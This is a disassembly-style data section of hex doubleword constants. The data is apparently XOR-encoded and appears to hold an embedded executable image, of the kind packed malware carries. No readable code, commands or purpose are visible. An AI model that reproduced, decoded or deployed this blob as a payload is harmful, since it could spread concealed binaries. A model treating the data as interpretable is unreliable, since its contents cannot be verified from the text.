		dd 9C7A707Ah, 0E8EFFDD1h, 0FDDFEEF9h, 7E7AF8EEh, 8996C07Ah
		dd 7B7A8193h, 7A1D3D7Ah, 0B1E27A7Ch, 0ABB6A3B6h, 7A6F7AA1h
		dd 9092329h, 667B7909h,	7A7A6C6Ah, 96E6760h, 6560686Fh
		dd 7C7A6D6Ch, 0C1C6957Ah, 0D6DCC1D4h, 417A7A7Ah, 0D87A7C7Ah
		dd 8C998C8Bh, 7C7A9B91h, 75751E7Ah, 6668336Fh, 637A727Ah
		dd 0F131B26h, 1106110Ch, 0BB7A737Ah, 0F4D8D4FFh, 0D8DED1D9h
		dd 7A747ACFh, 8281B4E0h, 848E89B7h, 8CA3978Fh, 7A939381h
		dd 7A555540h, 0DA23087Ah, 0B58CD2E1h, 7A38DE6Bh, 0F570B3DAh
		dd 3B7C9A43h, 0AA43E084h, 7AF6DE6Bh, 0F570B3DAh, 0DD6FDA43h
		dd 0AA1FFD4Eh, 7A30E86Bh, 0D6BDD55Ah, 2A882137h, 0B5E2CF4Ah
		dd 7AF8C16Bh, 0B4C77AD0h, 0ECC8FE71h, 60C0CECBh, 7AE6CC6Ah
		dd 674E7AD0h, 787E7A7Dh, 7A7A7A7Ah, 7A7ABA7Ah, 7A7A7A7Ah
		dd 563E5F3Ch, 0AA5CB149h, 7AF9CE6Bh, 7BA335BAh,	2A886563h
		dd 0B5E2CF4Ah, 7AF8C16Bh, 0B4C77AD0h, 2A8B8571h, 0B5E2CF4Ah
		dd 7AF8C16Bh, 0B4C77AD0h, 2A8B8D71h, 0B5E2CF4Ah, 7AF8C16Bh
		dd 0B4C77AD0h, 2A883A71h, 0B5E2CF4Ah, 7AF8C16Bh, 0B4C77AD0h
		dd 563E5D71h, 0AA5CB149h, 7AF9CE6Bh, 7BA335BAh,	0B1137A63h
		dd 0B537EFFFh, 7A76EC6Bh, 948EBDFAh, 7A7A7AFFh,	7A7A7A7Ah
		dd 7A7ABA7Ah, 7A7A7A7Ah, 766C1B3Ch, 0AAB7D5A9h,	7A44F06Bh
		dd 98B335BAh, 7A7A7A14h, 51h dup(7A7A7A7Ah), 6BDA0A7Ah
		dd 2 dup(7A7A7A7Ah), 6BDBFE7Ah,	6BDAD67Ah, 6BDAFE7Ah, 2	dup(7A7A7A7Ah)
		dd 6BDBDA7Ah, 6BDABA7Ah, 12h dup(7A7A7A7Ah), 6BDA927Ah
		dd 6BDA827Ah, 6BDB6E7Ah, 2 dup(7A7A7A7Ah), 6BDB5A7Ah, 6BDB567Ah
		dd 6BDB3A7Ah, 6BDB367Ah, 6BDB227Ah, 6BDB1E7Ah, 6BDB167Ah
		dd 6BDB027Ah, 2	dup(7A7A7A7Ah),	6BDA927Ah, 6BDA827Ah, 6BDB6E7Ah
		dd 2 dup(7A7A7A7Ah), 6BDB5A7Ah,	6BDB567Ah, 6BDB3A7Ah, 6BDB367Ah
		dd 6BDB227Ah, 6BDB1E7Ah, 6BDB167Ah, 6BDB027Ah, 2 dup(7A7A7A7Ah)
		dd 3F7AE17Ah, 2A0E1302h, 1F191508h, 7A7A0909h, 3D7B5E7Ah
		dd 143F0E1Fh, 1508130Ch, 141F1714h, 80E290Eh, 91D1413h
		dd 7A7A7A3Bh, 2878027Ah, 142F160Eh, 1E14130Dh, 257AFA7Ah
		dd 0A151E1Ch, 7A7A141Fh, 257B357Ah, 141F0A15h, 1C091525h
		dd 1E141B12h, 7A7A1F16h, 1C78777Ah, 9151619h, 7A7A7A1Fh
		dd 257A437Ah, 13021F19h, 7A7A7A0Eh, 1778347Ah, 1516161Bh
		dd 7A7A7A19h, 8781A7Ah,	1F09131Bh, 9781D7Ah, 0F180E1Fh
		dd 7A7A7A1Ch, 9780F7Ah,	0A19080Eh, 7A7A7A03h, 283F317Ah
		dd 49363F34h, 161E5448h, 7A7A7A16h, 6BDA7A7Ah, 2 dup(6BDA7A6Ah)
		dd 2E28396Ah, 5436363Eh, 7A36363Eh, 6BDA6E7Ah, 7 dup(6BDA6E6Ah)
		dd 7A7A7A6Ah, 0Dh dup(7A7A7A7Ah), 7A7A5A7Ah, 7A7A7A7Ah
		dd 7A7A5A7Ah, 7A6A7A7Ah, 7A927A7Ah, 7A8A7A7Ah, 7B567A7Ah
		dd 78h dup(7A7A7A7Ah), 7A6A7A7Ah, 7A7B967Ah, 0F64A4B7Ah
		dd 874A894Ah, 694B7F4Ah, 5B4B634Bh, 0CC4B5D4Bh,	864B954Bh
		dd 74487B4Bh, 59486948h, 44485348h, 1848CE48h, 0F491149h
		dd 0D349FD49h, 0C449CF49h, 6B49BD49h, 4B4E614Eh, 2F4E394Eh
		dd 94E254Eh, 0F14E034Eh, 0C94EE54Eh, 0B44EC04Eh, 924EAF4Eh
		dd 844E954Eh, 6C4F7E4Eh, 4E4F5A4Fh, 224F3C4Fh, 0F4F254Fh
		dd 0D14FFD4Fh, 0A84FB24Fh, 964FA74Fh, 624F854Fh, 574C5C4Ch
		dd 3F4C434Ch, 104C374Ch, 4C0E4Ch, 0E44CED4Ch, 0BD4CC24Ch
		dd 9E4CAA4Ch, 804C904Ch, 684D7E4Ch, 3B4D624Dh, 284D3C4Dh
		dd 1D4D234Dh, 0FA4D0E4Dh, 0CB4DEF4Dh, 8A4DA04Dh, 814D8C4Dh
		dd 64427F4Dh, 4B425942h, 3D423A42h, 4420E42h, 0C842E042h
		dd 9B42BE42h, 77429542h, 5B436943h, 4F435D43h, 2C433F43h
		dd 16432643h, 0F143FE43h, 0D443DE43h, 0B943C343h, 9D43B643h
		dd 86438B43h, 67407643h, 4D405E40h, 20404440h, 13401A40h
		dd 0F9400740h, 0D140DB40h, 0B340CC40h, 0A140B540h, 91409B40h
		dd 7A408040h, 6A417041h, 5B416D41h, 47414241h, 21413741h
		dd 3411341h, 0F441FC41h, 0DC41EE41h, 0C341D641h, 0B341C541h
		dd 9C419A41h, 72418A41h, 69467746h, 46465846h, 0F462E46h
		dd 0F1460046h, 0DB46EB46h, 0C746CD46h, 0A246B446h, 8646A546h
		dd 76477846h, 65476347h, 42474847h, 33473947h, 18472847h
		dd 15471347h, 0FB470047h, 0E947F347h, 0D547D047h, 0AA47C547h
		dd 92479B47h, 70447E47h, 64446244h, 49445344h, 20442A44h
		dd 0D440844h, 0E144FD44h, 0CE44D844h, 0AE44B444h, 9D449A44h
		dd 8D448A44h
		dd 72457A44h, 57457545h, 35454D45h, 21452E45h, 0F0451545h
		dd 0E645EC45h, 0C545C345h, 0AC45BE45h, 81459045h, 7A5A7A45h
		dd 7A7BF27Ah, 5B4A787Ah, 464A5D4Ah, 264A364Ah, 94A174Ah
		dd 0F34AF94Ah, 0D34AD94Ah, 0C64AC94Ah, 0B44AB94Ah, 8D4AAE4Ah
		dd 6C4B754Ah, 434B494Bh, 344B444Bh, 154B254Bh, 0F54B0F4Bh
		dd 0E44BEF4Bh, 0C84BD64Bh, 0B34BC74Bh, 974B994Bh, 73487E4Bh
		dd 57486348h, 39484748h, 19482748h, 6481748h, 0EB48F148h
		dd 0C648E548h, 0B648B848h, 78489E48h, 5E497249h, 4D495049h
		dd 28494649h, 0E492249h, 0FD490049h, 0D849F649h, 0BE49D249h
		dd 0AD49B049h, 8849A649h, 6E498249h, 5D4E604Eh,	384E564Eh
		dd 264E324Eh, 0D4E184Eh, 0E74EFB4Eh, 0CC4ED34Eh, 0B34EC44Eh
		dd 824EA34Eh, 394F694Eh, 344F334Fh, 104F194Fh, 0F04FF94Fh
		dd 0D04FD94Fh, 934FB94Fh, 774C7F4Fh, 594C624Ch,	4B4C504Ch
		dd 214C3F4Ch, 0FB4C014Ch, 0DD4CEB4Ch, 0B44CCB4Ch, 644D624Ch
		dd 304D474Dh, 104D2A4Dh, 0EF4DF44Dh, 0BD4DD44Dh, 584DB44Dh
		dd 1E422C42h, 7421542h,	0DA431F42h, 0BC43C843h,	0A043B643h
		dd 0E440E243h, 0B740BD40h, 76417E40h, 21412E41h, 1411141h
		dd 0E641F641h, 0C841D641h, 3A41B841h, 26462C46h, 0B046BE46h
		dd 53477746h, 0F1475547h, 0DE47EE47h, 0A547D147h, 8D479647h
		dd 5E447047h, 48445144h, 0E7441444h, 0D044D944h, 9A44A044h
		dd 85448344h, 66456944h, 7455045h, 0E545F945h, 0BA45CC45h
		dd 8B45AA45h, 7A458445h, 7A4A7A7Ah, 7A7BEE7Ah, 554A637Ah
		dd 0D4A164Ah, 834A944Ah, 684B7A4Ah, 444B544Bh, 284B3E4Bh
		dd 0F84B0D4Bh, 0E14BF34Bh, 0C94BDB4Bh, 0B14BBF4Bh, 0A54BA34Bh
		dd 834B944Bh, 6448794Bh, 1E485348h, 2480B48h, 0E848F848h
		dd 6C489248h, 10494949h, 0DE49E749h, 544E6E49h,	234E4E4Eh
		dd 34E084Eh, 0E04EE94Eh, 0B04ECE4Eh, 3E4EAC4Eh,	74F304Fh
		dd 6E4C774Fh, 564C594Ch, 0F84C4F4Ch, 534CF34Ch,	3A4D554Dh
		dd 1A4D2B4Dh, 0FB4D0F4Dh, 0DA4DF54Dh, 0CD4DDC4Dh, 0BD4DBB4Dh
		dd 71427F4Dh, 4A426442h, 3A424C42h, 1C423C42h, 4420D42h
		dd 0E042EE42h, 0CD42CB42h, 0B442B242h, 7B429F42h, 66436F43h
		dd 10434943h, 0EB430543h, 0BC43E043h, 8E43AC43h, 6E438143h
		dd 45405740h, 2F403240h, 0E402440h, 0E6400540h,	0CB40D240h
		dd 0AA40B940h, 96409940h, 71417940h, 6D416B41h,	3E415B41h
		dd 22413041h, 1F412441h, 0E5411641h, 0CE41DD41h, 0B941C041h
		dd 0AE41B341h, 8D41A041h, 59466741h, 46464A46h,	28463946h
		dd 0F2460246h, 0E446F446h, 0C746DE46h, 0AC46B946h, 96469C46h
		dd 77468446h, 59476947h, 44475047h, 21473E47h, 8471E47h
		dd 0FD470647h, 0EC47F747h, 0D947E747h, 0C747CD47h, 0B747BD47h
		dd 5847A947h, 3B444A44h, 28443D44h, 1F442544h, 0FB441544h
		dd 0CB44E944h, 0AA44C444h, 68457344h, 40456045h, 22453A45h
		dd 0B451B45h, 0F5450D45h, 7A45DE45h, 7A3A7A7Ah,	7A7BA67Ah
		dd 694A7E7Ah, 554A634Ah, 394A474Ah, 1D4A234Ah, 0F94A174Ah
		dd 0DF4AE84Ah, 0AE4AD04Ah, 974AA54Ah, 784A814Ah, 554B5B4Bh
		dd 254B404Bh, 0CD4BD44Bh, 6B4BBA4Bh, 1C485648h,	0F2481648h
		dd 0D348F548h, 0BD48BB48h, 8D48A548h, 62497148h, 58496749h
		dd 4E495349h, 32494149h, 28493749h, 1F492549h, 0A2491049h
		dd 91499F49h, 724E7849h, 524E614Eh, 3F4E444Eh, 1D4E244Eh
		dd 0EB4E0E4Eh, 0D54EE44Eh, 0B04EBB4Eh, 944E9F4Eh, 814E8F4Eh
		dd 764F7A4Eh, 614F684Fh, 524F584Fh, 334F574Fh, 1F4F244Fh
		dd 0FE4F044Fh, 0BD4FBB4Fh, 3F4F9C4Fh, 0FD4CFB4Ch, 0C94CD24Ch
		dd 0A74CBD4Ch, 724C9E4Ch, 484D504Dh, 294D304Dh,	0FB4D014Dh
		dd 0ED4DF44Dh, 0C34DD94Dh, 0B54DC54Dh, 8F4D934Dh, 5642684Dh
		dd 3423142h, 0C0420542h, 0A042BC42h, 7B428142h,	53436C43h
		dd 35435543h, 9432F43h,	0F6430343h, 0E643EF43h,	0B043D843h
		dd 0A343AA43h, 73438343h, 61406C40h, 50405B40h,	47404B40h
		dd 0D240D940h, 0B740C940h, 3E414640h, 21413441h, 10411B41h
		dd 4410241h, 0E241EB41h, 0BB41C241h, 9B41B441h,	6E467741h
		dd 59466046h, 48465346h, 31464446h, 26462D46h, 0F9461946h
		dd 0EE46F146h, 0C546DE46h, 9D46AC46h, 7F469446h, 5F477547h
		dd 4D474847h, 39474647h, 2F473447h, 1D471847h, 3471647h
		dd 0FE470547h, 0E147EF47h, 0C047D047h, 0B047B947h, 9A47A047h
		dd 95479347h, 6B478547h, 51446244h, 34444644h, 11441F44h
		dd 0EE440F44h, 0BB44D044h, 9044B444h, 84448D44h, 46454D44h
		dd 1C452A45h, 0FD450845h, 0E045EE45h, 0CB45DD45h, 0B645BF45h
		dd 9E45A245h, 81458F45h, 7A2A7A45h, 7A78167Ah, 5B4A687Ah
		dd 2E4A4D4Ah, 0D44A0B4Ah, 0A54AB84Ah, 544B524Ah, 384B4D4Bh
		dd 2F4B334Bh, 1E4B254Bh, 0FF4B084Bh, 0E14BEB4Bh, 0C24BD64Bh
		dd 0AC4BBE4Bh, 924BA54Bh, 874B8C4Bh, 6948734Bh,	5C485B48h
		dd 1D485648h, 0D481748h, 0E148EF48h, 0B048CE48h, 8A489C48h
		dd 7B488D48h, 6C497249h, 5C496649h, 40495649h, 1F493A49h
		dd 0FB490049h, 0DC49E349h, 0CA49D149h, 0BA49C349h, 0A849B749h
		dd 9D49AD49h, 86499649h, 6B4E7B49h, 5C4E6C4Eh, 414E514Eh
		dd 2A4E3A4Eh, 1F4E2F4Eh, 4E104Eh, 0F54E054Eh, 0DE4EEE4Eh
		dd 0C34ED34Eh, 0B44EC44Eh, 994EA94Eh, 814E924Eh, 614F6F4Eh
		dd 4B4F5E4Fh, 3B4F4D4Fh, 204F2F4Fh, 0FE4F174Fh,	0C64FF14Fh
		dd 964FB34Fh, 864F884Fh, 704C794Fh, 674C6C4Ch, 4D4C514Ch
		dd 3D4C474Ch, 114C1F4Ch, 0E24CF04Ch, 0BC4CE44Ch, 0A64CAC4Ch
		dd 7C4C8B4Ch, 5C4D6E4Dh, 3B4D414Dh, 0DE4D284Dh,	0C34DCE4Dh
		dd 0B44DB34Dh, 994DA44Dh, 824D894Dh, 7742724Dh,	58426742h
		dd 4D424842h, 36423D42h, 1B422642h, 0C420B42h, 0F142FC42h
		dd 0DA42E142h, 0CF42CA42h, 0B042BF42h, 0A542A042h, 8E429542h
		dd 73437E42h, 64436343h, 49435443h, 32433943h, 27432243h
		dd 8431743h, 0FD43F843h, 0E643ED43h, 0CB43D643h, 0BC43BB43h
		dd 0A143AC43h, 8A439143h, 7F407A43h, 60406F40h,	55405040h
		dd 3E404540h, 23402E40h, 14401340h, 0F9400440h,	0E240E940h
		dd 0D740D240h, 0B840C740h, 0AD40A840h, 96409D40h, 7B408640h
		dd 6C416B41h, 51415C41h, 3A414141h, 2F412A41h, 10411F41h
		dd 5410041h, 0EE41F541h, 0C241D041h, 0B241C441h, 0A241A841h
		dd 91419B41h, 80418841h, 76467D41h, 60466B46h, 54465B46h
		dd 42464946h, 31463F46h, 0C462A46h, 0AB46EA46h,	0A446A246h
		dd 58469E46h, 40475D47h, 0FA473E47h, 0AF47B547h, 9447A447h
		dd 71447947h, 66446C44h, 29445C44h, 5442344h, 0D944E044h
		dd 0CA44D344h, 0C744C244h, 0AB44BF44h, 9C44A144h, 82448B44h
		dd 62456844h, 57456445h, 3E454F45h, 2E453045h, 13451945h
		dd 0F8450F45h, 0DE45F345h, 0CE45D045h, 0B245B845h, 9845AF45h
		dd 88459345h, 7A458345h, 7A1A7A7Ah, 7A78727Ah, 734A797Ah
		dd 594A614Ah, 414A4B4Ah, 2E4A3D4Ah, 0E4A144Ah, 0DB4AF94Ah
		dd 0C64ACE4Ah, 0A24ABE4Ah, 824AA44Ah, 724B7A4Ah, 654B754Bh
		dd 94B454Bh, 0F74B034Bh, 0E74BEF4Bh, 0CF4BD04Bh, 0BD4BBA4Bh
		dd 914BA24Bh, 6048684Bh, 24483848h, 4481048h, 0E848F948h
		dd 0CC48E048h, 0B148B848h, 9048A048h, 84489548h, 5C495A48h
		dd 2A494E49h, 15491049h
		dd 0D1490449h, 0BE49C849h, 9B49A949h, 7C498749h, 444E554Eh
		dd 0CE4E124Eh, 0A24EC14Eh, 754F734Eh, 494F5A4Fh, 2D4F3E4Fh
		dd 34F124Fh, 0DA4FE04Fh, 0CA4FD34Fh, 0B24FC74Fh, 924FA44Fh
		dd 804F894Fh, 744C734Fh, 5C4C614Ch, 474C574Ch, 334C384Ch
		dd 134C264Ch, 14C0F4Ch,	0F44CF34Ch, 0D14CE54Ch,	0B84CC84Ch
		dd 0AC4CB34Ch, 944C924Ch, 744C864Ch, 5A4D6D4Dh,	434D5D4Dh
		dd 294D454Dh, 104D204Dh, 0FE4D044Dh, 0D64DDC4Dh, 0AA4DB34Dh
		dd 734DA54Dh, 60427542h, 51425A42h, 47424D42h, 26422A42h
		dd 0FA421642h, 0EF42FC42h, 0DC42E142h, 0C642D542h, 0AA42B042h
		dd 9142A142h, 78428F42h, 66437743h, 4B435843h, 3F434243h
		dd 24432843h, 15431E43h, 0FB430243h, 0DE43E443h, 0BF43C443h
		dd 9343A443h, 62407043h, 4F405840h, 26404140h, 14401F40h
		dd 0F4400D40h, 0D440EF40h, 0B440CF40h, 9440AF40h, 61416940h
		dd 32414B41h, 20412E41h, 0D411641h, 0F741FB41h,	0C841E541h
		dd 0A341B441h, 6C41A541h, 4B466746h, 35463C46h,	25462346h
		dd 4460F46h, 0E246F546h, 0C946D046h, 0BC46C646h, 0A446A846h
		dd 80469D46h, 69477346h, 18475847h, 0C6470547h,	9747AA47h
		dd 20445647h, 14441244h, 0AB440C44h, 0A544A344h, 95449F44h
		dd 6A448F44h, 57455E45h, 3A454045h, 13453F45h, 0F245FB45h
		dd 0E145F445h, 0D545DE45h, 0A945CF45h, 9D45A045h, 7A459745h
		dd 7A0A7A7Ah, 7A7BA67Ah, 634A717Ah, 334A594Ah, 0F4A354Ah
		dd 944AC94Ah, 474A8F4Ah, 0E94B2D4Bh, 0C34BDC4Bh, 0AC4BAA4Bh
		dd 8B4B914Bh, 5A487C4Bh, 2C485D48h, 0E548F648h,	0CD48D648h
		dd 0AC48B948h, 8B489148h, 79488C48h, 74497349h,	5B496149h
		dd 49495C49h, 44494349h, 0F8490649h, 0DD49E949h, 0C749D749h
		dd 0AF49B949h, 8F499449h, 564E7249h, 364E484Eh,	184E284Eh
		dd 74E0D4Eh, 0D54ED34Eh, 0B04EB94Eh, 9C4EA44Eh,	394F414Eh
		dd 2D4F374Fh, 164F1C4Fh, 0FE4F0F4Fh, 0EC4FEA4Fh, 0D14FDE4Fh
		dd 0B94FC14Fh, 8C4F984Fh, 7B4F814Fh, 644C7D4Ch,	414C4C4Ch
		dd 294C344Ch, 0F4C244Ch, 0CA4CD14Ch, 0B14CB94Ch, 7F4CAB4Ch
		dd 674D704Dh, 514D5F4Dh, 354D384Dh, 0EA4D264Dh,	0D44DEC4Dh
		dd 0BB4DC24Dh, 0B64DBC4Dh, 0A14DAC4Dh, 854D934Dh, 6342754Dh
		dd 3E425E42h, 11422142h, 0EE420B42h, 0A842C942h, 32434542h
		dd 17433443h, 0D743F243h, 0BC43C543h, 0A443B443h, 56438343h
		dd 41404840h, 31403840h, 0F402440h, 0F2400140h,	0EC40F540h
		dd 0B940D440h, 8340AE40h, 4D417A40h, 0FA410041h, 0D441ED41h
		dd 0A641AC41h, 12467B41h, 0A7461546h, 84469446h, 66477746h
		dd 50475E47h, 46474A47h, 25472C47h, 0C471347h, 0EA47F947h
		dd 0DA47E247h, 0C047DD47h, 0B547B847h, 0A547A247h, 88479747h
		dd 79478747h, 66446B44h, 5D445B44h, 46444A44h, 33443B44h
		dd 22443544h, 17442544h, 6440944h, 0F044FE44h, 0E044EF44h
		dd 0C844DE44h, 0BD44BA44h, 9B44AC44h, 94449D44h, 72448544h
		dd 4B456B45h, 33454745h, 26453445h, 0D451945h, 0EF45F345h
		dd 0DA45E045h, 0AE45C445h, 8A45A045h, 7A458C45h, 7AFA7A7Ah
		dd 7A786A7Ah, 724A787Ah, 5A4A744Ah, 384A4A4Ah, 0F94A334Ah
		dd 0DC4AE94Ah, 0BF4AC34Ah, 734A994Ah, 5E4B6C4Bh, 484B504Bh
		dd 194B264Bh, 0F94B024Bh, 0CB4BD14Bh, 0AA4BBF4Bh, 874B8D4Bh
		dd 6348734Bh, 53485B48h, 30484A48h, 480A48h, 0EE48FC48h
		dd 0D048D948h, 0A248A848h, 91489848h, 79488E48h, 62497349h
		dd 3E495B49h, 20493449h, 2491249h, 0D049E449h, 0C749CA49h
		dd 0AA49BD49h, 9749A149h, 68498D49h, 384E424Eh,	244E2A4Eh
		dd 0E24E0A4Eh, 0D14EE54Eh, 0BA4ECD4Eh, 0A74EB14Eh
aNyouoaosojoO7o	db 'NyOuOaOSOJO>O7O',0Ah
		db 'O',0
		dw 0F94Fh
		dd 0E24FF44Fh, 0CE4FD84Fh, 0B84FC64Fh, 794FA74Fh, 694C764Ch
		dd 544C654Ch, 3C4C4E4Ch, 84C374Ch, 0FE4C014Ch, 0E34CF04Ch
		dd 0D44CE54Ch, 0B34CBA4Ch, 8C4C964Ch, 764D784Ch, 564D604Dh
		dd 204D4F4Dh, 164D1B4Dh, 44D0F4Dh, 0EB4DF24Dh, 0D44DE34Dh
		dd 0BF4DCE4Dh, 0A14DB14Dh, 8B4D9B4Dh, 77427D4Dh, 54426842h
		dd 37424342h, 27422842h, 0C7421242h, 0A742B942h, 72428A42h
		dd 66437443h, 30433943h, 2431743h, 0B743BC43h, 6243AF43h
		dd 4A405A40h, 29403740h, 4401E40h, 0F640FF40h, 0ED40E840h
		dd 0D740DD40h, 0BD40C040h, 0A740B740h, 93409940h, 85408F40h
		dd 63417C40h, 51415C41h, 4D414A41h, 33413841h, 21412C41h
		dd 11411841h, 5410841h,	0F041FF41h, 0CC41D941h,	0A141A941h
		dd 95419D41h, 51466041h, 17464946h, 0CC46D346h,	0B746C746h
		dd 22469646h, 0FD470B47h, 0DC47F747h, 0B847C647h, 0AF47B547h
		dd 8B479347h, 6F447047h, 5D446444h, 22442844h, 14442544h
		dd 0FF440E44h, 0DD44F144h, 0AA44B044h, 0A644AF44h, 88449644h
		dd 71448444h, 61456F45h, 56455C45h, 30454C45h, 20452A45h
		dd 0FB451745h, 0D045DE45h, 0C745D545h, 0B545B945h, 9B45A145h
		dd 8B459145h, 7A458745h, 7AEA7A7Ah, 7A783A7Ah, 634A7F7Ah
		dd 534A654Ah, 2A4A464Ah, 34A094Ah, 0F74A044Ah, 0CC4AE94Ah
		dd 0B54AC74Ah, 584B664Ah, 0B64BEF4Bh, 0A74BA24Bh, 824B974Bh
		dd 6A48704Bh, 65486048h, 3E484448h, 24482248h, 1481248h
		dd 0D948F548h, 0CC48D348h, 0AF48B548h, 8A489348h, 72497848h
		dd 43496449h, 2F494549h, 0C490A49h, 0DD49F649h,	0BA49D749h
		dd 9B49A149h, 89499349h, 5A4E6349h, 3A4E414Eh, 1B4E294Eh
		dd 0F64EFE4Eh, 0C54EE94Eh, 9D4E9B4Eh, 804E964Eh, 6D4F7B4Eh
		dd 544F594Fh, 3B4F424Fh, 284F3D4Fh, 134F224Fh, 34F094Fh
		dd 0DF4FFE4Fh, 0C44FC24Fh, 9A4FA24Fh, 8B4F914Fh, 7D4F814Fh
		dd 654C6A4Ch, 3A4C574Ch, 234C3D4Ch, 154C1F4Ch, 0F44CF24Ch
		dd 0CC4CE34Ch, 824CAC4Ch, 764D784Ch, 564D694Dh,	234D484Dh
		dd 94D134Dh, 0FA4D034Dh, 0E04DF74Dh, 0C84DDF4Dh, 0AF4DC24Dh
		dd 9D4D984Dh, 884D964Dh, 784D814Dh, 6E427542h, 5F426342h
		dd 4A425142h, 3B424F42h, 36423D42h, 27422B42h, 12421942h
		dd 3421742h, 0FE420542h, 0EF42F342h, 0DA42E142h, 0CE42DF42h
		dd 0C542C042h, 0AE42BD42h, 9A42A342h, 8A429342h, 78428742h
		dd 6D437D43h, 56436643h, 3B434B43h, 2C433C43h, 11432143h
		dd 0FA430A43h, 0EF43FF43h, 0D043E043h, 0C543D543h, 0AE43BE43h
		dd 9343A343h, 84439443h, 69407943h, 52406240h, 47405740h
		dd 28403840h, 1D402D40h, 6401640h, 0EB40FB40h, 0DC40EC40h
		dd 0C140D140h, 0AA40BA40h, 9F40AF40h, 7A409040h, 4D415341h
		dd 2F413541h, 0A411F41h, 0D841EF41h, 0AD41AB41h, 83419941h
		dd 6E467D41h, 42465046h, 36464446h, 9462846h, 0D746E546h
		dd 0BF46C946h, 9E46B646h, 71468B46h, 4B476B47h,	38474D47h
		dd 16471E47h, 0F3470647h, 0EC47EA47h, 0AB47C047h, 97479D47h
		dd 77447B47h, 5B446844h, 22444944h, 0D6441E44h,	0AA44C244h
		dd 9244A044h, 83449444h, 74457A44h, 50456645h, 36454245h
		dd 19452945h, 0F451345h, 0F3450145h, 0E445EE45h, 92459945h
		dd 86459445h, 7ADA7A45h, 7A780A7Ah, 664A6A7Ah, 444A434Ah
		dd 1B4A2C4Ah, 0FD4A014Ah, 0CC4ACB4Ah, 0B44AB34Ah, 7C4A944Ah
		dd 634B694Bh, 544B5D4Bh, 1A4B284Bh, 4B1C4Bh, 0E64BEA4Bh
		dd 0C74BCA4Bh, 0AC4BB54Bh, 754B894Bh, 2E484F48h, 16481948h
		dd 0FB480E48h, 0F148FC48h, 0E148EE48h, 0D748D248h, 0C548C848h
		dd 0B048BF48h, 71488748h, 53496249h, 44494C49h,	0B491949h
		dd 0FB490C49h, 0E849F649h, 0B949C449h, 9049A649h, 78498149h
		dd 5B4E694Eh, 494E5C4Eh, 284E384Eh, 0E64EF04Eh,	0BA4ECA4Eh
		dd 854E824Eh, 5D4F6C4Eh, 404F574Fh, 304F3A4Fh, 204F294Fh
		dd 144F124Fh, 74F0D4Fh,	0EB4FF04Fh, 0E74FED4Fh,	0CA4FD34Fh
		dd 0C74FCD4Fh, 0AA4FB94Fh, 984FAC4Fh, 884F964Fh, 7C4F814Fh
		dd 624C764Ch, 5C4C654Ch, 424C564Ch, 3F4C454Ch, 234C364Ch
		dd 1D4C1A4Ch, 14C154Ch,	0F34CF84Ch, 0E64CF54Ch,	0D24CD84Ch
		dd 0C04CD44Ch, 0BD4CBB4Ch, 0AE4CB44Ch, 924C984Ch, 814C944Ch
		dd 7D4D7B4Ch, 654D6C4Dh, 564D5C4Dh, 464D4F4Dh, 304D394Dh
		dd 244D2A4Dh, 174D1E4Dh, 54D094Dh, 0C24DFC4Dh, 0A74DBA4Dh
		dd 864D884Dh, 7442734Dh, 4B425942h, 1A422D42h, 0B421142h
		dd 0F7420142h, 0E242E842h, 0D942E742h, 0D442D242h, 0C242C942h
		dd 0B042BE42h, 9B42A142h, 8B429C42h, 75428D42h,	61436F43h
		dd 5C435A43h, 4B435143h, 3A434C43h, 2B433D43h, 17432643h
		dd 2430943h, 0F743F843h, 0DE43E443h, 0D543D043h, 0C043CF43h
		dd 0BF43BA43h, 0AE43B043h, 9043A443h, 82438A43h, 79438743h
		dd 5B406140h, 38404240h, 22402940h, 11401F40h, 0FE400440h
		dd 0D640E940h, 0BF40C240h, 0A940B140h, 88409240h, 6E408040h
		dd 33415A41h, 0FA411E41h, 0DA41FC41h, 0CF41D741h, 0B441BE41h
		dd 0A241A941h, 9241A541h, 8F419441h, 6C467341h,	4C465846h
		dd 16464646h, 5460346h,	0DD46E946h, 0C046D746h,	9B46B646h
		dd 4C469646h, 1D473247h, 0FA470A47h, 0EC47FD47h, 0D347DB47h
		dd 0B547BC47h, 9E47AC47h, 83479447h, 32447647h,	20443444h
		dd 13441944h, 0F1440744h, 0ED44EA44h, 0D544D244h, 0BF44C644h
		dd 0A944B644h, 9D449B44h, 8D448B44h, 5E456D44h,	1D452A45h
		dd 0E2450145h, 8B45D245h, 7ACA7A45h, 7A7BA27Ah,	724A7B7Ah
		dd 4F4A654Ah, 0FD4A044Ah, 0D24AE64Ah, 994ACD4Ah, 844A934Ah
		dd 514B6E4Ah, 444B4D4Bh, 0B4B214Bh, 0EE4B074Bh,	0CF4BD04Bh
		dd 0AF4BC14Bh, 5048764Bh, 3B484F48h, 1B483D48h,	0E6481D48h
		dd 0BC48C048h, 0A648B648h, 7A488C48h, 62497549h, 55495D49h
		dd 38494649h, 18492D49h, 0FC491349h, 0ED49F449h, 0D349E749h
		dd 0B049CA49h, 0A049AA49h, 8A499F49h, 7D4E7B49h, 5E4E644Eh
		dd 414E544Eh, 1E4E3D4Eh, 74E144Eh, 0F04EFE4Eh, 0D64EE54Eh
		dd 0C14ECC4Eh, 0A74EBB4Eh, 8A4E9E4Eh, 7A4E804Eh, 5A4F774Fh
		dd 424F534Fh, 1D4F324Fh, 24F174Fh, 0F14F044Fh, 0E24FEB4Fh
		dd 0BA4FDF4Fh, 6C4F854Fh, 0FD4C4E4Ch, 0E74CEA4Ch, 0C34CDF4Ch
		dd 0B64CC44Ch, 9F4CA54Ch, 7C4C894Ch, 634D764Dh,	554D594Dh
		dd 324D4F4Dh, 274D2E4Dh, 94D1D4Dh, 0F24D064Dh, 0E94DF74Dh
		dd 904DA44Dh, 794D8C4Dh, 63427042h, 56425F42h, 3A424042h
		dd 18423142h, 17421D42h, 0DA420642h, 0C142D642h, 0AC42B042h
		dd 7A428B42h, 60437743h, 48435643h, 37433E43h, 19432343h
		dd 0E643FD43h, 0CA43D343h, 0BC43CC43h, 84439D43h, 53407E43h
		dd 1E405540h, 0CA40D040h, 0B840C640h, 8D409840h, 49417440h
		dd 24414341h, 0E411E41h, 0F0410041h, 0DB41EC41h, 0C041D741h
		dd 0B541BA41h, 9841AF41h, 7D419341h, 67466B46h,	49465946h
		dd 18464346h, 0FF460846h, 9E46B246h, 68469046h,	30476247h
		dd 3472A47h, 0DC47E847h, 0B347B947h, 7F47A147h,	6B447144h
		dd 11442144h, 0E244FE44h, 0D244D844h, 0AE44C744h, 7844A044h
		dd 47457245h, 1B453845h, 0D451445h, 0C545FD45h,	8B45BF45h
		dd 7ABA7A45h, 7A7B927Ah, 7C4A7A7Ah, 394A674Ah, 0E74A094Ah
